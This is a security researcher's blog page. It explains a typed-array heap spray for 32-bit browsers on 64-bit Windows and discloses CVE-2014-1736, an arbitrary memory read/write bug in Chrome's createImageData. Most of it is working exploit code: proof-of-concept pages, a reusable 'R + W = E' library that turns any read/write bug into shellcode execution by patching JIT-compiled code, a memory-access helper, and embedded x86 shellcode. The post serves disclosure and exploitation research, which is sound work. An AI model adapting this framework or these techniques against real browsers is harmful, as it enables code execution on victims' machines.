This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected. June 22nd, 2016 Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows

Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows

In my previous blog post I wrote about magic values that were originally chosen to help mitigate exploitation of memory corruption flaws and how this mitigation could potentially be bypassed on 64-bit Operating Systems, specifically Windows. In this blog post, I will explain how to create a heap spray (of sorts) that can be used to allocate memory in the relevant address space range and fill it with arbitrary data for use in exploiting a vulnerability that involves referencing a magic value pointer.

The relevant address space range in most cases is between 0x­C0000000 and 0x­F0000000, so the Proof-of-Concept code will attempt to allocate memory at the address 0x­DEADBEEF and store the DWORD value 0x­BADC0DED at this address.

Using typed arrays for heap sprays

Most browser heap sprays are based on the code I developed for an exploit in 2004. For reasons I won't get into here, this heap spray repeatedly concatenated a string to itself to exponentially grow the size of this string. A number of copies were than made of this string in order to fill the desired amount of memory.

Since 2004, a lot has changed and a lot of features have been added to modern browsers that can be used to spray the heap faster, easier and with better control over its content. One such feature is typed arrays. As explained on the MDN page, these are similar to "normal" Javascript arrays, except that they are never sparse. Data stored in typed arrays is stored in an Array­Buffer, which is backed up by one consecutive block of memory in which the values are stored. By creating a typed array, one can therefore allocate one consecutive block of memory of a controlled size, and the contents of the memory can be controlled by setting array elements to specific values.

Spraying the heap in the right place

Heap blocks are normally allocated at the lowest possible address. If you allocate two blocks on an empty, unused heap, these blocks should normally be sequential: the second block will get allocated immediately after the first in memory and therefore be located at a higher address. After the heap has been used for some time and blocks have been freed, the heap can become fragmented. This means that there are unused (freed) areas in between the areas that are still in use. When you allocate a new block from the heap, one of these freed areas can be reallocated, so two sequential allocations may no longer end up next to each other and the second allocation may end up before the first. (heap feng shui can be used to get around this in some cases, but I digress).

Fortunately, these gaps in the heap tend to be a lot smaller than the large blocks used in a heap spray, so fragmentation can be ignore in this case: when asked to allocate a very large block of memory, it will almost certainly get allocated after everything else already allocated on the heap.

Because 32-bit applications have all their modules (dll) loaded at addresses close to, but below 0x80000000, there is only so much space available for a large allocation immediately after the heap and before these modules. If you attempt to allocate a block that is larger than the gap between the heap and the modules, there is no place this allocation can go but after the modules.

So, by allocating sufficiently large memory blocks, we can all but guarantee that these blocks will be allocated at addresses above 0x80000000. And since there is nothing there to fragment their allocation, they should end up sequential, allowing us to reliably allocate memory in the region around 0x­DEADBEEF.

The Proof-of-Concept

Unlike Firefox, Chrome has an artificial limit on the number of bytes you can allocate through a typed array. This means that on Firefox, you can simply allocate one large block that starts at 0x80000000 and contains all memory up to and including 0x­DEADBEEF. On Chrome, you will need to allocate two blocks, one to fill the lower part of memory and one that contains the target address. After allocating the(se) block(s), setting the value at address 0x­DEADBEEF to to 0x­BADC0DED is as simple as setting a few values in the array at the right index. Because the base address of the memory block depends on the allocator used by the browser, it is deterministic and the right index can be guessed with very high reliability. The code below shows how this is done. After loading this web-page you can inspect the memory at 0x­DEADBEEF (in Chrome make sure you have the render process) to make sure it contains the value 0x­BADC0DED.

0x­DEADBEEF.html <!DOCTYPE html> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta charset="utf-8"> <script> var u­Target­Address = 0x­DEADBEEF, // The address to allocated u­Value = 0x­BADC0DED, // The value to store at this address. u­Array­Base = window.chrome ? 0x80004000 : 0x80000000, u­Array­Separation = window.chrome ? 0x200000 : 0x0, u­Max­Array­Size = window.chrome ? 0x30000000 : 0x80000000; var aau­Heap = []; while (u­Array­Base + u­Max­Array­Size <= u­Target­Address) { console.log("Allocating 0x" + u­Max­Array­Size.to­String(16) + " bytes at 0x" + u­Array­Base.to­String(16)); aau­Heap.push(au­Heap = new Uint8Array(u­Max­Array­Size)); u­Array­Base += u­Max­Array­Size + u­Array­Separation; }; var u­Array­Size = u­Target­Address - u­Array­Base + 4, au­Heap = new Uint8Array(u­Array­Size); console.log("Allocating 0x" + u­Array­Size.to­String(16) + " bytes at 0x" + u­Array­Base.to­String(16)); for (var u­Offset = 0; u­Offset < 4; u­Offset++) { var u­Byte­Index = u­Target­Address - u­Array­Base + u­Offset, u­Byte­Value = (u­Value >> (u­Offset * 8)) & 0x­FF; au­Heap[u­Byte­Index] = u­Byte­Value; console.log("[0x" + u­Array­Base.to­String(16) + " + 0x" + u­Byte­Index.to­String(16) + "] = " + u­Byte­Value.to­String(16)); }; // All done: break into the application using your favorite debugger // and see whether [0x­DEADBEEF] realy is 0x­BADC0DED. In Win­Dbg, this may help: alert("!address 0x­DEADBEEF;dd 0x­DEADBEEF"); </script> </head> </html>

CVE-2014-1736 - Chrome on x64 Windows create­Image­Data arbitrary read&write

At the end of 2013 I found signedness errors and integer overflows in Google Chrome that allowed reading and writing of arbitrary memory when Chrome is running on a 64-bit version of Windows. This issue was patched in early 2014, and I was going to release the details a that time, but there was a small slipup and the Chrome team forgot to actually apply the patch to the new build. So, I had to wait a bit longer for it the next release and subsequently completely forgot to release these details. But that does allow me to bring it up now and describe how that bug was triggered and how I wrote a Proof-of-Concept for the issue.

Repro

When using the create­Image­Data of a canvas element to create a very large Image­Data object on x64 bit versions of Windows, the memory used for this object can get allocated at address 0x7FFF0000. This causes the majority of the object's memory to be located at addresses above 0x7FFFFFFF. This allows exploitation of signedness errors/integer overflows in the code that handles reading and writing of pixel data, effectively allowing a script to read and write memory in the majority of the process' adddress space.

Repro.html <!doctype html> <html> <head> <script> window.onload = function() { var o­Canvas = document.create­Element("canvas"); var o­Context2d = o­Canvas.get­Context("2d"); this.o­Image­Data = o­Context2d.create­Image­Data(0x17001337,1); function address­To­Index(i­Address) { return i­Address + (i­Address < 0x7fff0000 ? +0x80010000 : -0x7fff0000); } this.o­Image­Data.data[address­To­Index(0x­DEADBEEF)] = 0x41; }; </script> </head> </html>

Exploitation

I've developed a generic way to turn an arbitrary read/write bug into control over execution flow, which I've named "R + W = E". This works as follows:

  • Use Java­Script to spray the heap with an alternating array of a "target" function and a "marker" integer.
  • Use the arbitrary read bug to locate one of the "marker" integers on the heap.
  • The "marker" is followed by a pointer to a function structure for the "target" function.
  • The "target" function structure contains a pointer to the compiled "target" function code in RWE memory.
  • Scan RWE memory or an area that is not currently in use.
  • Write shellcode to unused RWE memory.
  • Read original compiled "target" function code.
  • Overwrite compiled "target" function code with JMP instruction to shellcode.
  • Execute "target" function to run shellcode.
  • Shellcode returns cleanly.
  • Overwrite compiled "target" function code with original code.
  • Restore unused RWE memory where shellcode was stored.
  • ...
  • Profit!

More details can be found in the in-line documentation of the exploit.

Exploit.html <!doctype html> <html> <head> <script src="read­Plus­Write­Equals­Execute.js"></script> <script src="Memory.js"></script> <script> function Canvas­Image­Data­Read­Write­Sploit() { var o­Canvas = document.create­Element("canvas"); var o­Context2d = o­Canvas.get­Context("2d"); this.o­Image­Data = o­Context2d.create­Image­Data(0x17001337,1); function address­To­Offset(i­Address) { return i­Address + (i­Address < 0x7fff0000 ? +0x80010000 : -0x7fff0000); } this.read­Byte = function Create­Image­Data­Read­Write­Sploit_­read­Byte(i­Address) { var i­Byte = this.o­Image­Data.data[address­To­Offset(i­Address)]; if (typeof(i­Byte) == "undefined") { throw new Error("Unfortunately, memory at address 0x" + i­Address.to­String(16) + " cannot be read."); } return i­Byte; } this.write­Byte = function Create­Image­Data­Read­Write­Sploit_­write­Byte(i­Address, i­Value) { // There is no way to guarantee this will work. this.o­Image­Data.data[address­To­Offset(i­Address)] = i­Value; if (this.read­Byte(i­Address) != i­Value) { throw new Error("Unfortunately, memory at address 0x" + i­Address.to­String(16) + " cannot be written to."); } } } window.onload = function() { var ai­Shellcode = [ // 80 bytes x86 calc.exe shellcode from http://code.google.com/p/win-exec-calc-shellcode/ 0x60, 0x31, 0x­D2, 0x52, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x89, 0x­E6, 0x52, 0x56, 0x64, 0x8B, 0x72, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x0C, 0x­AD, 0x8B, 0x30, 0x8B, 0x7E, 0x18, 0x8B, 0x5F, 0x3C, 0x8B, 0x5C, 0x1F, 0x78, 0x8B, 0x74, 0x1F, 0x20, 0x01, 0x­FE, 0x8B, 0x4C, 0x1F, 0x24, 0x01, 0x­F9, 0x0F, 0x­B7, 0x2C, 0x51, 0x42, 0x­AD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0x­F1, 0x8B, 0x74, 0x1F, 0x1C, 0x01, 0x­FE, 0x03, 0x3C, 0x­AE, 0x­FF, 0x­D7, 0x58, 0x58, 0x61, 0x­C2, 0x04, 0x00 // With clean RET to allow browser to continue running. ]; var o­Read­Write­Sploit = new Canvas­Image­Data­Read­Write­Sploit(); read­Plus­Write­Equals­Execute(o­Read­Write­Sploit, ai­Shellcode); }; </script> </head> </html> read­Plus­Write­Equals­Execute.js function read­Plus­Write­Equals­Execute(o­Read­Write­Sploit, ai­Shellcode) { /* __ ,d­SSSb,, ,._ _ d­SSSSSSS,YSSSSs,_ Sb-,_ _,,sd7 &SSSSSSSSS[SSSSSP" SSSSSS=, ,s­SSSSSP [SSSSSSSSSS[SSSS" [SSSSSSY 'SSSSSS` 7SSSP` 7SS'd­SSS' SSSSSS` SSSSSP 'SSS] JS"i­SSS' _, 7SSSS! SSSSS` 'SSS-,_ SSS] ,SSS'._ _.,7SS` sd­S]=, ,s­SSSb, ,d­SSSSbs_=SSs,.SSSSP "SSSSS,"SS,,SSS"d­SSS` SSS[SS 'SS]SSSSSSSSSSS'SSSSSSSSSb"SSSSSSSS] ,S,_ `7SSb'SSSSSSc'SS] [SS[S] SS!SSP"`*YSSSS,SS 'SSSSSL'Y `SSSS .SSSSS' SSP,S YSSD'SSb,,d­S]d­S]_,sid SS [SSSS'SSS7****TSS i ,SSSS [SSSSSb,.i­S*,SS i­SSP,SSSSSSS YSSSSSS[[SY _i­SSS7`4SSb.__.j,'\d­SS*7SSY '7SSSSP*` *"` `7 `"' ,SSS `S*"` "" `' `*` `*7TYYP*` "'` ` s­SSS` `"Y' "R + W = E" is a generic solution for turning "read/write(where, what)" vulnerabilities in Google Chrome into code execution. It should work without modifiction for any such vulnerability. The required arguments are: o­Read­Write­Sploit - an object which exploits such a vulnerability to facilitate reading from and writing to memory. This object should implement a "read­Byte", "read­Word", or "read­DWord" and a "write­Byte", "write­Word", or "write­DWord" method. ai­Shellcode - A shellcode passed as an array of int bytes. The o­Read­Write­Sploit argument is passed to the constructor of a Memory object. This Memory object is a convenience wrapper that allows reading various forms of data from memory, regardless of which read* and write* methods the o­Read­Write­Sploit has implemented. */ var i­Guessed­Heap­Spray­Address = 0x20011100, // Not actually tested to be the most likely place to find the heap spray. i­Heap­Spray­Array­Size = 0x00040000, // Small enough to fill all nooks & crannies, but large enough to spray fast. i­Heap­Spray­Array­Count = 0x800, // Enough to reach the guessed heap spray address, but not so much as to cause OOM. i­Marker = 0x28081976, // Any not too common value will do, but it cannot have the lsb or msb set (see below). o­Memory = new Memory(o­Read­Write­Sploit), f­Function = function() {}; // V8 will store variables in an array on the heap as DWORD SMI's. A SMI can be a small ints (0 - 0x7FFFFFFF) shifted // left by 1 (lsb will be 0) or a a pointer to a structure that describes the value (with lsb set to 1). If the // i­Marker value does not have its lsb or msb, it can be shifted right by 1 and get stored as an int SMI on the heap. // That way it will be shifted back to left by 1, putting the actual i­Marker value on the heap. if (i­Marker & 0x80000001) throw new Error("i­Marker cannot have the low or high bit set"); // Creating an array with alternating markers and functions will spray the heap with alternating int SMI's containing // the i­Marker and pointers to a structure that represents the function. var ax­Spray = [i­Marker >> 1, f­Function]; var i­Spray­Copies = Math.ceil((i­Heap­Spray­Array­Size - 0x9C00) / (ax­Spray.length * 4)); console.log("Spraying heap with 0x" + i­Heap­Spray­Array­Count.to­String(16) + " copies of a ~0x" + i­Heap­Spray­Array­Size.to­String(16) + " byte array..."); var aax­Heap­Spray = []; var ax­Heap = aax­Heap­Spray[0] = []; for (var i­Bit = 0x80000000; i­Bit >= 1; i­Bit /= 2) { ax­Heap = ax­Heap.concat(ax­Heap); if (i­Spray­Copies & i­Bit) ax­Heap = ax­Heap.concat(ax­Spray); }; for (var i = 1; i < i­Heap­Spray­Array­Count; i++) { aax­Heap­Spray[i] = [].concat(ax­Heap); } // The heap spray will create aligned blocks of DWORDs of SMI's. Assuming the value of the marker SMI is sufficiently // uncommon, it can be found by scanning the heap for it. This can be done by guessing an address that is very likely // to point to memory covered by the heap spray and reading the value stored there. If it's not the marker, it may be // the function pointer SMI so the next DWORD may be the marker SMI. If the next DWORD is also not the marker, this // memory page may not actually be part of the heap spray, in which case the next memory page is checked. if (i­Guessed­Heap­Spray­Address & 3) throw new Error("i­Guessed­Heap­Spray­Address must be DWORD aligned"); console.log("Scanning heap for 0x" + i­Marker.to­String(16) + " starting at address 0x" + i­Guessed­Heap­Spray­Address.to­String(16) + "..."); for ( var i­Marker­Address = i­Guessed­Heap­Spray­Address; o­Memory.read­DWord(i­Marker­Address) != i­Marker; i­Marker­Address += (i­Marker­Address & 4 ? 0x­FFFFC : 4) ); console.log("Found marker at 0x" + i­Marker­Address.to­String(16)); // Each marker is followed by a SMI with a pointer to the function structure (set lsb to 0 to get the pointer): var i­Function­Structure­Address = o­Memory.read­DWord(i­Marker­Address + 4) - 1; console.log("Found function structure at 0x" + i­Function­Structure­Address.to­String(16)); // This function structure contains a pointer to the JIT compiled code at a specific offset: var i­Function­Code­Address = o­Memory.read­DWord(i­Function­Structure­Address + 0x­C); console.log("Found function code at 0x" + i­Function­Code­Address.to­String(16)); // The JIT compiled code is in RWE memory, so the shellcode can be stored in the same memory block. Normally there // will be some unused memory which is filled with NULLs at higher addresses that can be used to store the shellcode. // The code will look for a number of NULLs in this heap block larger than the shellcode, in which to store the // shellcode at the end. This allows V8 to allocate additional memory, overwriting the first NULLs without touching // the memory where the shellcode will be stored. var i­NULLSpace­Size = 0x8000 + ai­Shellcode.length; // Leave some room for V8 console.log("Scanning heap for 0x" + i­NULLSpace­Size.to­String(16) + " NULL bytes starting at address 0x" + i­Function­Code­Address.to­String(16) + "..."); for (var i­NULLSpace­Address = i­Function­Code­Address; true; i­NULLSpace­Address += Math.max(i­Index, 0x100)) { for (var i­Index = 0; i­Index < i­NULLSpace­Size; i­Index++) { if (o­Memory.read­Byte(i­NULLSpace­Address + i­Index) != 0) break; } if (i­Index == i­NULLSpace­Size) break; } console.log("Found NULLs at 0x" + i­NULLSpace­Address.to­String(16)); // The shellcode can be written over these NULLs relatively safely. var i­Shellcode­Address = i­NULLSpace­Address + i­NULLSpace­Size - ai­Shellcode.length; console.log("Storing shellcode at 0x" + i­Shellcode­Address.to­String(16)); o­Memory.write­Bytes(i­Shellcode­Address, ai­Shellcode); // The pointer to the JIT compiled code cannot simply be overwritten because it's some kind of magic value. // But the JIT compiled code itself can be overwritten with a JMP to the shellcode. The code is a lot larger than // this jump, so this does not overwrite anything vital. A backup of the original code must be made in order to // restore it later: console.log("Reading start of original function code..."); var ai­Original­Code = o­Memory.read­Bytes(i­Function­Code­Address, 5); console.log("Overwriting original function code with JMP to shellcode..."); o­Memory.write­Byte(i­Function­Code­Address, 0x­E9); // JMP opcode o­Memory.write­DWord(i­Function­Code­Address + 1, i­Shellcode­Address - i­Function­Code­Address - 5); // JMP offset // By executing the javascript function, the shellcode gets executed: console.log("Calling function to execute shellcode..."); f­Function(); // If the shellcode does proper cleanup and returns, the original JIT compiled code of f­Function can be restored. console.log("Restoring start of original function code..."); o­Memory.write­Bytes(i­Function­Code­Address, ai­Original­Code); // And the shellcode can be overwritten with NULLs again. console.log("Restoring NULLs..."); for (var i­Index = 0; i­Index < ai­Shellcode.length; i­Index++) { o­Memory.write­Byte(i­Shellcode­Address + i­Index, 0); } console.log("Done."); // Finally, the browser can continue to run as normal. } Memory.js function Memory(o­Read­Write­Sploit) { // Given a o­Read­Write­Sploit object (which implements at least one way of reading data from and one way of writing // data to memory), this object allows easy reading/writing of data in various common sizes and formats. if (!(o­Read­Write­Sploit.read­Byte || o­Read­Write­Sploit.read­Word || o­Read­Write­Sploit.read­DWord)) { throw new Error("No way of reading memory implemented in o­Read­Write­Sploit."); } if (!(o­Read­Write­Sploit.write­Byte || o­Read­Write­Sploit.write­Word || o­Read­Write­Sploit.write­DWord)) { throw new Error("No way of writing memory implemented in o­Read­Write­Sploit."); } this.o­Read­Write­Sploit = o­Read­Write­Sploit; } var dai­Prefered­Read­Write­Sizes_­by_­i­Value­Size = { 1: [1, 2, 4], 2: [2, 1, 4], 3: [1, 2, 4], 4: [4, 2, 1] }; var d­Read_­s­Method­Name_­by_­i­Size = { 1: "read­Byte", 2: "read­Word", 4: "read­DWord" }; var d­Write_­s­Method­Name_­by_­i­Size = { 1: "write­Byte", 2: "write­Word", 4: "write­DWord" }; // read/write values of arbitrary size Memory.prototype.read­Value = function Memory_­read­Value(i­Address, i­Value­Size) { var ai­Prefered­Read­Sizes = dai­Prefered­Read­Write­Sizes_­by_­i­Value­Size[i­Value­Size]; if (typeof(ai­Prefered­Read­Sizes) == "undefined") { throw new Error("Unknown i­Value­Size " + i­Value­Size); } for (var i­Index = 0; i­Index < ai­Prefered­Read­Sizes.length; i­Index++) { var i­Read­Size = ai­Prefered­Read­Sizes[i­Index], s­Read­Method­Name = d­Read_­s­Method­Name_­by_­i­Size[i­Read­Size]; if (this.o­Read­Write­Sploit[s­Read­Method­Name]) break; } if (i­Index == ai­Prefered­Read­Sizes.length) { // This should never happen because the constructor makes sure one way to read memory exists, but anyway... throw new Error("Cannot find a way to read memory"); } var i­Value = 0; for (var i­Index = 0; i­Index < i­Value­Size; i­Index += i­Read­Size) { var i­Read­Value = this.o­Read­Write­Sploit[s­Read­Method­Name](i­Address + i­Index); i­Value += Math.pow(0x100, i­Index) * i­Read­Value; } i­Value &= Math.pow(0x100, i­Value­Size) - 1; return i­Value; }; Memory.prototype.write­Value = function Memory_­write­Value(i­Address, i­Value­Size, i­Value) { var ai­Prefered­Write­Sizes = dai­Prefered­Read­Write­Sizes_­by_­i­Value­Size[i­Value­Size]; if (typeof(ai­Prefered­Write­Sizes) == "undefined") { throw new Error("Unknown i­Value­Size " + i­Value­Size); } for (var i­Index = 0; i­Index < ai­Prefered­Write­Sizes.length; i­Index++) { var i­Write­Size = ai­Prefered­Write­Sizes[i­Index], s­Write­Method­Name = d­Write_­s­Method­Name_­by_­i­Size[i­Write­Size]; if (this.o­Read­Write­Sploit[s­Write­Method­Name]) break; } if (i­Index == ai­Prefered­Write­Sizes.length) { // This should never happen because the constructor makes sure one way to write memory exists, but anyway... throw new Error("Cannot find a way to write memory"); } for (var i­Index = 0; i­Index < i­Value­Size; i­Index += i­Write­Size) { var i­Remaining­Size = i­Value­Size - i­Index, i­Write­Value = i­Value & (Math.pow(0x100, i­Write­Size) - 1); if (i­Remaining­Size < i­Write­Size) { // It is impossible to write as little bytes as needed, so more must be written. If the original value of those // bytes is read, and written, nothing changes and it's as if the addition write never took place. var i­Additional­Value­Address = i­Address + i­Index + i­Remaining­Size, i­Additional­Value­Size = i­Write­Size - i­Remaining­Size, i­Additional­Value = this.read­Value(i­Additional­Value­Address, i­Additional­Value­Size) * Math.pow(0x100, i­Remaining­Size); i­Write­Value += i­Additional­Value; } this.o­Read­Write­Sploit[s­Write­Method­Name](i­Address + i­Index, i­Write­Value); i­Value >>>= 8 * i­Write­Size; } }; // read/compare/write arrays of values of arbitrary size Memory.prototype.read­Value­Array = function Memory_­read­Value­Array(i­Address, i­Value­Size, i­Length) { var ai­Values = new Array(i­Length); for (var i­Index = 0; i­Index < i­Length; i­Index++) { ai­Values[i­Index] = this.read­Value(i­Address, i­Value­Size); i­Address += i­Value­Size; } return ai­Values; }; Memory.prototype.compare­Value­Array = function Memory_­compare­Value­Array(i­Address, i­Value­Size, ai­Values) { for (var i­Index = 0; i­Index < ai­Values.length; i­Index++) { if (ai­Values[i­Index] != this.read­Value(i­Address, i­Value­Size)) { return false; } i­Address += i­Value­Size; } return true; }; Memory.prototype.write­Value­Array = function Memory_­write­Value­Array(i­Address, i­Value­Size, ai­Values) { for (var i­Index = 0; i­Index < ai­Values.length; i­Index++) { this.write­Value(i­Address, i­Value­Size, ai­Values[i­Index]); i­Address += i­Value­Size; } }; // read/compare/write (arrays of) bytes Memory.prototype.read­Byte = function Memory_­read­Byte(i­Address) { return this.read­Value(i­Address, 1); }; Memory.prototype.read­Bytes = function Memory_­read­Bytes(i­Address, i­Length) { return this.read­Value­Array(i­Address, 1, i­Length); }; Memory.prototype.compare­Bytes = function Memory_­read­Bytes(i­Address, ai­Bytes) { return this.compare­Value­Array(i­Address, 1, ai­Bytes); }; Memory.prototype.write­Byte = function Memory_­write­Byte(i­Address, i­Byte) { return this.write­Value(i­Address, 1, i­Byte); }; Memory.prototype.write­Bytes = function Memory_­write­Bytes(i­Address, ai­Bytes) { return this.write­Value­Array(i­Address, 1, ai­Bytes); }; // read/compare/write (arrays of) words Memory.prototype.read­Word = function Memory_­read­Word(i­Address) { return this.read­Value(i­Address, 2); }; Memory.prototype.read­Words = function Memory_­read­Words(i­Address, i­Length) { return this.read­Value­Array(i­Address, 2, i­Length); }; Memory.prototype.compare­Words = function Memory_­read­Words(i­Address, ai­Words) { return this.compare­Value­Array(i­Address, 2, ai­Words); }; Memory.prototype.write­Word = function Memory_­write­Word(i­Address, i­Word) { return this.write­Value(i­Address, 2, i­Word); }; Memory.prototype.write­Words = function Memory_­write­Words(i­Address, ai­Words) { return this.write­Value­Array(i­Address, 2, ai­Words); }; // read/compare/write (arrays of) dwords Memory.prototype.read­DWord = function Memory_­read­DWord(i­Address) { return this.read­Value(i­Address, 4); }; Memory.prototype.read­DWords = function Memory_­read­DWords(i­Address, i­Length) { return this.read­Value­Array(i­Address, 4, i­Length); }; Memory.prototype.compare­DWords = function Memory_­read­DWords(i­Address, ai­DWords) { return this.compare­Value­Array(i­Address, 4, ai­DWords); }; Memory.prototype.write­DWord = function Memory_­write­DWord(i­Address, i­DWord) { return this.write­Value(i­Address, 4, i­DWord); }; Memory.prototype.write­DWords = function Memory_­write­DWords(i­Address, ai­DWords) { return this.write­Value­Array(i­Address, 4, ai­DWords); }; // read/compare/write strings Memory.prototype.read­String = function Memory_­read­String(i­Address, i­Max­Length) { var ai­String = []; for (var i­Index = 0; typeof(i­Max­Length) == "undefined" || i­Index < i­Max­Length; i­Index++) { i­Byte = this.read­Byte(i­Address + i­Index); if (i­Byte == 0) break; ai­String[i­Index] = i­Byte; } return String.from­Char­Code.apply(0, ai­String); }; Memory.prototype.compare­String = function Memory_­comapre­String(i­Address, s­String) { for (var i­Index = 0; i­Index < s­String.length; i­Index++) { i­Byte = this.read­Byte(i­Address + i­Index); if (i­Byte != s­String.char­Code­At(i­Index)) { return false; } } return this.read­Byte(i­Address + i­Index) == 0; }; Memory.prototype.write­String = function Memory_­read­String(i­Address, s­String) { for (var i­Index = 0; i­Index < s­String.length; i­Index++) { this.write­Byte(i­Address + i­Index, s­String.char­Code­At(i­Index)); } this.write­Byte(i­Address + i­Index, 0); }; // read/compare/write unicode strings Memory.prototype.read­Unicode = function Memory_­read­Unicode(i­Address, i­Max­Length) { var ai­Unicode = []; for (var i­Index = 0; typeof(i­Max­Length) == "undefined" || i­Index < i­Max­Length; i­Index += 2) { i­Word = this.read­Word(i­Address + i­Index); if (i­Word == 0) break; ai­Unicode[i­Index] = i­Word; } return String.from­Char­Code.apply(0, ai­Unicode); }; Memory.prototype.compare­Unicode = function Memory_­comapre­Unicode(i­Address, s­String) { for (var i­Char­Index = 0; i­Char­Index < s­String.length; i­Char­Index++) { i­Word = this.read­Word(i­Address + i­Char­Index * 2); if (i­Word != s­String.char­Code­At(i­Index)) { return false; } } return this.read­Word(i­Address + i­Char­Index * 2) == 0; }; Memory.prototype.write­Unicode = function Memory_­read­String(i­Address, s­String) { for (var i­Index = 0; i­Index < s­String.length; i­Index += 2) { this.write­Word(i­Address + i­Index, s­String.char­Code­At(i­Index)); } this.write­Word(i­Address + i­Index, 0); };
© Copyright 2024 by Sky­Lined. Last updated on March 23rd, 2024. Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License. If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.